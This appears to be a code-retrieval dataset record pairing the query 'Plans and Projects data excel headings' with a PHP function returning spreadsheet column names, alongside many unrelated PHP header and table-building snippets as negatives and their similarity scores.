$key => $row)\n\t\t{\n\t\t\techo '<div id=\"row_' . $key . '\" class=\"slider ' . $style . '\">\n\t\t\t\t<table class=\"table table-striped\">\n\t\t\t\t\t<thead>\n\t\t\t\t\t\t<tr>';\n\n\t\t\t\t\t\t\tforeach ($row['details'][0] as $col => $val)\n\t\t\t\t\t\t\t\techo '<th>' . $col . '</th>';\n\t\t\t\n\t\t\t\t\t\techo '</tr>\n\t\t\t\t\t</thead>\n\t\t\t\t\t<tbody>';\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach ($row['details'] as $item)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo '<tr>';\n\n\t\t\t\t\t\t\tforeach ($item as $col => $val)\n\t\t\t\t\t\t\t\techo '<td class=\"' . $col . '\">' . $val . '</td>';\n\n\t\t\t\t\t\t\techo '</tr>';\n\t\t\t\t\t\t}\n\n\t\t\t\t\techo '<tbody>\n\t\t\t\t</table>\n\t\t\t</div>';\n\t\t}\n\t}", "protected function display_data_header()\n\t{\n\t\t$msg =\n\t\t\t\"<p>\" .\n\t\t\t\t\"How good each project was, compared with the other projects scored \" .\n\t\t\t\t\"by the same judge. The higher the number, the better the project.\" .\n\t\t\t\"</p><br>\";\n\n\t\treturn $msg . parent::display_data_header();\n\n\t}", "public function headings():array\n {\n\t\tif(Auth::user()->role_id == 1 || Auth::user()->role_id == 14)\n\t\t{\n\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t ];\n\t\t\t}else{\n\t\t\t\treturn [\n\t\t\t\t\t'Member ID',\n\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t'Organization Name',\n\t\t\t\t\t'Company Name',\n\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t'Person Name',\n\t\t\t\t\t'Sector',\n\t\t\t\t\t'Designation',\n\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t'Address',\n\t\t\t\t\t'State',\n\t\t\t\t\t'City',\n\t\t\t\t\t'Pincode',\n\t\t\t\t\t'Due ID',\n\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t'DueNote',\n\t\t\t\t\t'Email',\n\t\t\t\t\t'Grace Period',\n\t\t\t\t\t'Custom ID',\n\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t'Proof of Due',\n\t\t\t\t ];\n\t\t\t}\n\t\t}\n\n\t\t\t else {\n\n\t\t\t\tif( $this->paymentOnlyDownload ==\"1\" || $this->paymentOnlyDownload ==\"2\"){\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n\t\t\t\t\t\t'PaidDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'Payment Updated Date',\n\t\t\t\t\t\t'PaidAmount',\n\t\t\t\t\t\t'PaidNote',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n 'Waived Off Reason'\n\t\t\t\t\t ];\n\t\t\t\t}else{\n\t\t\t\t\treturn [\n\t\t\t\t\t\t'Customer ID - Business',\n\t\t\t\t\t\t'Organization Name',\n\t\t\t\t\t\t'Company Name',\n\t\t\t\t\t\t'Business PAN/GSTIN (Unique Identification Number)',\n\t\t\t\t\t\t'Person Name',\n\t\t\t\t\t\t'Sector',\n\t\t\t\t\t\t'Designation',\n\t\t\t\t\t\t'Contact Phone',\n\t\t\t\t\t\t'Alternate Contact Phone',\n\t\t\t\t\t\t'Address',\n\t\t\t\t\t\t'State',\n\t\t\t\t\t\t'City',\n\t\t\t\t\t\t'Pincode',\n\t\t\t\t\t\t'Due ID',\n\t\t\t\t\t\t'Reported Date (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueDate (DD/MM/YYYY)',\n\t\t\t\t\t\t'DueAmount',\n 'Balance Due Amount',\n\t\t\t\t\t\t'DueNote',\n\t\t\t\t\t\t'Email',\n\t\t\t\t\t\t'Grace Period',\n\t\t\t\t\t\t'Custom ID',\n\t\t\t\t\t\t'Invoice Number',\n\t\t\t\t\t\t'Checkmy Report Link',\n\t\t\t\t\t\t'Proof of Due',\n\t\t\t\t\t ];\n\n\t\t\t\t}\n\n\t\t\t }\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "function Assessors_Inscription_Assessors_Table_Titles($datas,$frienddatas,$submissiondatas)\n {\n return\n array_merge\n (\n array($this->B(\"No\")),\n $this->FriendsObj()->MyMod_Data_Titles($frienddatas),\n $this->SubmissionsObj()->MyMod_Data_Titles($submissiondatas),\n $this->MyMod_Data_Titles($datas),\n array(\"\")\n );\n }", "function adleex_resource_list_column_header( $cols ) {\nglobal $current_screen;\n\n\tif ($current_screen->post_type!='resource') return $cols;\n\n\tunset($cols['date']);\n\t$header = array(\n 'post_title' => 'title', );\n\tforeach($header\tas $k => $v) $cols[$k]=$v;\n\treturn $cols;\n}", "function heading( $data = '', $h = '1', $attributes = '' )\n\t{\n\t\treturn '<h' . $h . _stringify_attributes( $attributes ) . '>' . $data . '</h' . $h . '>';\n\t}", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "protected function getTableHeader() {\n /** @var \\Drupal\\webform\\WebformInterface $webform */\n $webform = $this->getEntity();\n $header = [];\n $header['title'] = $this->t('Title');\n\n $header['key'] = [\n 'data' => $this->t('Key'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['type'] = [\n 'data' => $this->t('Type'),\n 'class' => [RESPONSIVE_PRIORITY_LOW],\n ];\n $header['correct_answer'] = $this->t('Answer');\n $header['weight'] = $this->t('Weight');\n $header['operations'] = $this->t('Operations');\n// $header['answer'] = [\n// 'data' => $this->t('Answer'),\n// 'class' => [RESPONSIVE_PRIORITY_LOW],\n// ];\n//\n// $header['required'] = [\n// 'data' => $this->t('Required'),\n// 'class' => ['webform-ui-element-required', RESPONSIVE_PRIORITY_LOW],\n// ];\n// $header['parent'] = $this->t('Parent');\n// $header['operations'] = [\n// 'data' => $this->t('Operations'),\n// 'class' => ['webform-ui-element-operations'],\n// ];\n return $header;\n }", "function weekviewHeader()\n {\n }", "function getSkillTable($val, $typ) {\n $content = '';\n $content .= '<div class=\"' . $typ . ' selectable\">';\n foreach ($val as $atk) {\n if ($atk -> getTyp() == 'p') {\n $atkTyp = 'Physical';\n } elseif ($atk -> getTyp() == 'm') {\n $atkTyp = 'Magical';\n } elseif ($atk -> getTyp() == 'a') {\n $atkTyp = 'Special';\n }\n $content .= '\n <div class=\"skillcontainer\">\n <a href=\"#\" rel=\"' . $atk -> getId() . '\" class=\"skill\" title=\"' . $atk -> getName() . '\"><img src=\"' . getAtkImag($atk -> getId()) . '\" /></a>\n <span class=\"skilltext\"><b>' . $atk -> getName() . '</b><br />Damage ' . $atk -> getDmgPt() . '<br />Typ ' . $atkTyp . '</span>\n </div>';\n }\n $content .= '</div>';\n echo $content;\n}", "public function getTitleSection()\n {\n return $this->getFirstFieldValue('245', ['n', 'p']);\n }", "public function buildHeader() {\n return [\n ['data' => t('Teaching format'), 'class' => ['align-middle']],\n ['data' => t('Event'), 'class' => ['align-middle']],\n ['data' => t('Tutor'), 'class' => ['align-middle']],\n ['data' => t('Location'), 'class' => ['align-middle']],\n ['data' => t('Room'), 'class' => ['align-middle']],\n [\n 'data' => t('Date/time'),\n 'field' => 'time.field_event_time_value',\n 'sort' => 'desc',\n 'class' => ['align-middle'],\n ],\n ['data' => t('Registration status'), 'class' => ['align-middle']],\n ];\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "private function getSkills() {\n\t\t$html ='';\n\t\tforeach ($this->_xml->ecole as $branch) {\n\t\t\t$html .= '<div id=\"'.$branch['id'].'\" class=\"tal_invisible\">';\n\t\t\t$html .= $this->getActive($branch);\n\t\t\t$html .= $this->getPassive($branch);\n\t\t\t$html .= '</div>';\n\t\t}\n\n\t\treturn $html;\n\t}", "public function getDataWithTypeLeveltitle() {}", "public static function wdtAllowSheetNames()\n {\n return [\n 'Skilling South Australia',\n 'Regions',\n 'Retention',\n 'Recruitment',\n 'Migration',\n 'Skill demand',\n 'Skills shortages',\n 'Plans & projects',\n 'Actions & strategies',\n 'Industries',\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "function tck_table_head_cells($cells) {\n $newcells['custom'] = yourls__('Custom Keyword');\n $newcells['actions'] = $cells['actions'];\n \n unset($cells['actions']);\n return array_merge($cells, $newcells);\n }", "public function get_name() {\n return 'apr_modern_heading';\n }", "function wpex_portfolio_related_heading() {\n\n\t// Get heading text\n\t$heading = wpex_get_mod( 'portfolio_related_title' );\n\n\t// Fallback\n\t$heading = $heading ? $heading : __( 'Related Projects', 'wpex' );\n\n\t// Translate heading with WPML\n\t$heading = wpex_translate_theme_mod( 'portfolio_related_title', $heading );\n\n\t// Return heading\n\treturn $heading;\n\n}", "function\ttableHead() {\n\t\t//\n\t\t//\t\tfpdf_set_active_font( $this->myfpdf, $this->fontId, mmToPt(3), false, false );\n\t\t//\t\tfpdf_set_fill_color( $this->myfpdf, ul_color_from_rgb( 0.1, 0.1, 0.1 ) );\n\t\t$frm\t=\t$this->myDoc->currMasterPage->getFrameByFlowName( \"Auto\") ;\n\t\t$frm->currVerPos\t+=\t3.5 ;\t\t// now add some additional room for readability\n\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderPS) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t}\n\t\t}\n//\t\t$this->frmContent->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\tif ( $this->inTable) {\n\t\t\tfor ( $actRow=$this->myTable->getFirstRow( BRow::RTHeaderCF) ; $actRow !== FALSE ; $actRow=$this->myTable->getNextRow()) {\n\t\t\t\tif ( $actRow->isEnabled()) {\n\t\t\t\t\t$this->punchTableRow( $actRow) ;\n\t\t\t\t}\n\t\t\t}\n\t\t\t$frm->currVerPos\t+=\t1.5 ;\t\t// now add the height of everythign we have output'\n\t\t}\n\t}", "function rawpheno_change_sheet(&$xls_obj, $tab_name) {\n // Get all the sheets in the workbook.\n $xls_sheets = $xls_obj->Sheets();\n\n // Locate the measurements sheet.\n foreach($xls_sheets as $sheet_key => $sheet_value) {\n $xls_obj->ChangeSheet($sheet_key);\n\n // Only process the measurements worksheet.\n if (rawpheno_function_delformat($sheet_value) == 'measurements') {\n return TRUE;\n }\n }\n\n return FALSE;\n}", "function headingify($to_headingify, $level) {\r\n\t\t$to_headingify = preg_replace('/<(h[1-6])([^<>]*?)>(.*?)<\\/\\1>/is', '<p$2>$3</p>', $to_headingify);\r\n\t\tpreg_match('/<(\\w+)/is', $to_headingify, $tagname_matches, PREG_OFFSET_CAPTURE, 0);\r\n\t\t$pre_heading_OString_offset = $tagname_matches[0][1];\r\n\t\t$tagname = $tagname_matches[1][0];\r\n\t\twhile($tagname === \"div\") {\r\n\t\t\tpreg_match('/<(\\w+)/is', $to_headingify, $tagname_matches, PREG_OFFSET_CAPTURE, $pre_heading_OString_offset + strlen($tagname) + 1);\r\n\t\t\t$pre_heading_OString_offset = $tagname_matches[0][1];\r\n\t\t\t$tagname = $tagname_matches[1][0];\r\n\t\t}\r\n\t\t$pre_heading_OString = substr($to_headingify, 0, $pre_heading_OString_offset);\r\n\t\t$heading_OString = OM::getOString($to_headingify, \"<\" . $tagname, \"</\" . $tagname . \">\");\r\n\t\t//print('$heading_OString: ');var_dump($heading_OString);\r\n\t\t$strlen_heading_OString = strlen($heading_OString);\r\n\t\tif(is_numeric($level) && $level > 0 && $level < 7) {\r\n\t\t\t//print('$heading_OString: ');var_dump($heading_OString);\r\n\t\t\t$heading_OString = preg_replace('/<(\\w+)([^<>]*?)>/is', '<h' . $level . '$2>', $heading_OString, 1);\r\n\t\t\t$heading_OString = ReTidy::remove_tags($heading_OString, \"strong\");\r\n\t\t\t//print('$heading_OString: ');var_dump($heading_OString);\r\n\t\t\t$heading_OString = substr($heading_OString, 0, strlen($heading_OString) - strlen($tagname) - 1) . \"h\" . $level . \">\";\r\n\t\t\t//print('$heading_OString: ');var_dump($heading_OString);\r\n\t\t} else {\r\n\t\t\t$pos_lt = strpos($heading_OString, '>');\r\n\t\t\t$pos_gt = ReTidy::strpos_last($heading_OString, '<');\r\n\t\t\t$heading_OString = substr($heading_OString, 0, $pos_lt + 1) . '<strong>' . substr($heading_OString, $pos_lt + 1, $pos_gt - ($pos_lt + 1)) . '</strong>' . substr($heading_OString, $pos_gt);\r\n\t\t}\r\n\t\t$headingified = $pre_heading_OString . $heading_OString . substr($to_headingify, strlen($pre_heading_OString) + $strlen_heading_OString);\r\n\t\treturn $headingified;\r\n\t}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nWorking with Data in C#\nMAINHEADING;\n }", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nAdvanced Collections in C#\nMAINHEADING;\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nUnique to Oracle\nMAINHEADING;\n }", "function showHeaquarters() \r\n\t{\r\n\t\t$valuesHeadquarters = $this->Headquarter->find('all', array('order' => 'Headquarter.headquarter_name ASC'));\r\n\t\t$x=0;\r\n\t\tforeach ($valuesHeadquarters as $value)\r\n\t\t{\r\n\t\t\tif($x==0)\r\n\t\t\t\t$resultadoHeadquarters[0] = 'Seleccione una jefatura';\r\n\t\t\telse\r\n\t\t\t\t$resultadoHeadquarters[$value['Headquarter']['id']]= $value['Headquarter']['headquarter_name'];\r\n\t\t\t\t\r\n\t\t\t$x++;\r\n\t\t}\r\n\t\t\r\n\t\treturn $resultadoHeadquarters;\r\n\t}", "function ST4_columns_head_only_works($defaults) {\n\t$defaults['works_image'] = 'Featured Image';\n\t$defaults['tags'] = 'Tags';\n\treturn $defaults; \n}", "function ods_analyze_data() {\n $results_level1 = array();\n foreach ($this->schema['named-range'] as $range) {\n $range_name = $range['name'];\n switch ($range['level']) {\n case 1:\n if (!empty($this->data[$range_name])) {\n // get all rows elements on this range\n //foreach($this->data[ $range_name ] as $data_level1){\n //row cycle\n $results_level1[$range_name]['rows'] = $this->ods_render_range($range_name, $this->data);\n }\n break;\n }\n }\n if ($results_level1){\n $sheet = $this->dom\n ->getElementsByTagName('table')\n ->item(0);\n \n foreach ($results_level1 as $range_name => $result){\n \n //delete template on the sheet\n $in_range = false;\n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('range_name')\n && $row->getAttribute('range_name') == $range_name\n && $row->hasAttribute('range_start')\n \n ){\n $results_level1[ $range_name ]['start'] = $row;\n $in_range = true;\n }\n \n if ($in_range){\n $row->setAttribute('remove_me_please', 'yes');\n }\n \n if ($row->hasAttribute('range_name')\n \n && $row->hasAttribute('range_end')\n && in_array($range_name, explode(',', $row->getAttribute('range_end')) )\n ){\n $results_level1[ $range_name ]['end'] = $row;\n $in_range = false;\n } \n \n }\n \n //insert data after end \n foreach ( $results_level1[$range_name]['rows'] as $row ){\n $results_level1[ $range_name ]['start']\n ->parentNode\n ->insertBefore($row, $results_level1[ $range_name ]['start']);\n }\n \n }\n \n //clear to_empty rows\n $remove_rows = array();\n \n foreach ($sheet->getElementsByTagName('table-row') as $row){\n if ($row->hasAttribute('remove_me_please')){\n $remove_rows[] = $row;\n }\n }\n \n foreach ($remove_rows as $row){\n $row->parentNode->removeChild($row);\n }\n \n //after this - rows count is CONSTANT\n if (!empty( $this->hasFormula )){\n $this->ods_recover_formula();\n }\n \n }\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "public function get_game_three_heading () {\n\t\treturn get_field('field_5b4770942c38b', $this->get_id());\n\t}", "function wizardHeader() {\n $strOutput = '<table border=\"0\" cellpadding=\"2\" cellspacing=\"1\">';\n return $strOutput;\n }", "function showTableHeader($phaseName) {\n?>\n\t<table>\n\t\t<colgroup>\n\t\t\t<col width='4%'>\n\t\t\t<col width='10%'>\n\t\t\t<col width='15%'>\n\t\t\t<col width='5%'>\n\t\t\t<col width='23%'>\n\t\t\t<col width='10%'>\n\t\t\t<col width='23%'>\n\t\t\t<!--<col width='10%'>\n\t\t\t<col width='*'>-->\n\t\t</colgroup>\n\t\t<thead>\n\t\t\t<tr>\n\t\t\t\t<th>#</th>\n\t\t\t\t<th>Datum/Zeit</th>\n\t\t\t\t<th>Ort</th>\n\t\t\t\t<?php echo ($phaseName == 'Gruppenphase') ? \"<th>Grp</th>\" : \"<th></th>\" ?>\n\t\t\t\t<th colspan='3'>Resultat</th>\n\t\t\t\t<!--<th>Tipp</th>\n\t\t\t\t<th>Pkt</th>-->\n\t\t\t</tr>\n\t\t</thead>\n\t\t<tbody>\n<?php\n}" ]
[ "0.76690334", "0.72854936", "0.686974", "0.68605244", "0.68048555", "0.66684294", "0.65588266", "0.6373541", "0.6341409", "0.63394165", "0.6132386", "0.61050874", "0.59995806", "0.59035516", "0.58837795", "0.57985055", "0.57649326", "0.5726738", "0.57228315", "0.57225686", "0.5659026", "0.56496745", "0.56071967", "0.55457276", "0.54997337", "0.5484728", "0.5480505", "0.54785913", "0.5476096", "0.54605925", "0.54062814", "0.53973585", "0.5333463", "0.5302244", "0.5236568", "0.522904", "0.52071273", "0.51875675", "0.51811284", "0.5180024", "0.5161938", "0.51573724", "0.5148675", "0.5148002", "0.5145565", "0.513872", "0.5126992", "0.5102722", "0.509371", "0.5093257", "0.5080921", "0.5074695", "0.50727993", "0.5067582", "0.50673735", "0.5062655", "0.5057", "0.50488085", "0.5042946", "0.5040943", "0.50398976", "0.503619", "0.5029063", "0.5029059", "0.502865", "0.50263566", "0.50226444", "0.5019953", "0.50196844", "0.5017521", "0.50054914", "0.49919695", "0.4988108", "0.49749008", "0.49745926", "0.49732542", "0.49713552", "0.4970583", "0.49696454", "0.49578652", "0.49557036", "0.49548876", "0.49488947", "0.49446502", "0.49362218", "0.49304205", "0.4918069", "0.49110034", "0.49051955", "0.49032438", "0.4901536", "0.48992234", "0.48872826", "0.4876554", "0.48729444", "0.48724648", "0.48697507", "0.48678064", "0.4867757", "0.48594117" ]
0.78337926
0
Plans and Projects data excel headings
public static function excelPlansAndProjectsHeadings() { return [ 'Project', 'Status', 'Region', 'Industry', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelMigrationHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "public static function excelRecruitmentHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public static function excelSkillingSaHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Industry',\n ];\n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "public static function excelRetentionHeadings()\n {\n return [\n 'Occupation/Job Title',\n 'Region',\n 'Industry',\n 'Type',\n ];\n }", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public static function excelIndustryHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Industry',\n 'Qualification type',\n// 'Employer size'\n ];\n }", "public static function excelStateHeadings()\n {\n return [\n 'Code',\n 'Qualification',\n 'Priority',\n 'Qualification type',\n 'Employer size'\n ];\n }", "public function action_list_approval_department(){\n\n $param = \\Input::param();\n $export_date = isset($param['export_date'])?date('Y-m-d', strtotime($param['export_date'])):date('Y-m-d');\n\n $objPHPExcel = new \\PHPExcel();\n $objPHPExcel->getProperties()->setCreator('Vision')\n ->setLastModifiedBy('Vision')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('Route File');\n\n $header = ['事業本部コード','事業本部','事業部コード','事業部','部門コード','部門', '適用開始日', '適用終了日','第1 承認者','第2 承認者','第3 承認者','第4 承認者','第5 承認者','第6 承認者','第7 承認者','第8 承認者','第9 承認者'];\n $last_column = null;\n foreach($header as $i=>$v){\n $column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n $objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n $objPHPExcel->getActiveSheet()->getStyle($column.'1')\n ->applyFromArray([\n 'font' => [\n 'name' => 'Times New Roman',\n 'bold' => true,\n 'italic' => false,\n 'size' => 10,\n 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n ],\n 'alignment' => [\n 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n 'wrap' => false\n ]\n ]);\n switch($i+1){\n case 1:\n case 3:\n case 5:\n $width = 10;\n break;\n case 2:\n $width = 18;\n break;\n case 4:\n case 6:\n $width = 30;\n break;\n default:\n $width = 20;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n \n /*====================================\n * Get list user has department enable_start_date >= export day <= enable_end_date\n * Or enable_start_date >= export day && enable_end_date IS NULL\n *====================================*/\n $query = \\DB::select('MAD.*',\n \\DB::expr('BUS.code AS business_code'), \\DB::expr('BUS.name AS business_name'), \n \\DB::expr('DIV.code AS division_code'),\\DB::expr('DIV.name AS division_name'),\n \\DB::expr('DEP.name AS department_name'), \\DB::expr('DEP.code AS department_code'), \\DB::expr('DEP.sub_code AS department_sub_code'))\n ->from(['m_approval_department', 'MAD'])\n ->join(['m_department', 'DEP'], 'left')->on('DEP.id', '=', 'MAD.m_department_id')->on('DEP.level', '=', \\DB::expr(3))\n ->join(['m_department', 'DIV'], 'left')->on('DIV.id', '=', 'DEP.parent')->on('DIV.level', '=', \\DB::expr(2))\n ->join(['m_department', 'BUS'], 'left')->on('BUS.id', '=', 'DIV.parent')->on('BUS.level', '=', \\DB::expr(1))\n ->where('MAD.item_status', '=', 'active')\n ->where('DEP.allow_export_routes', '=', 1)\n\n 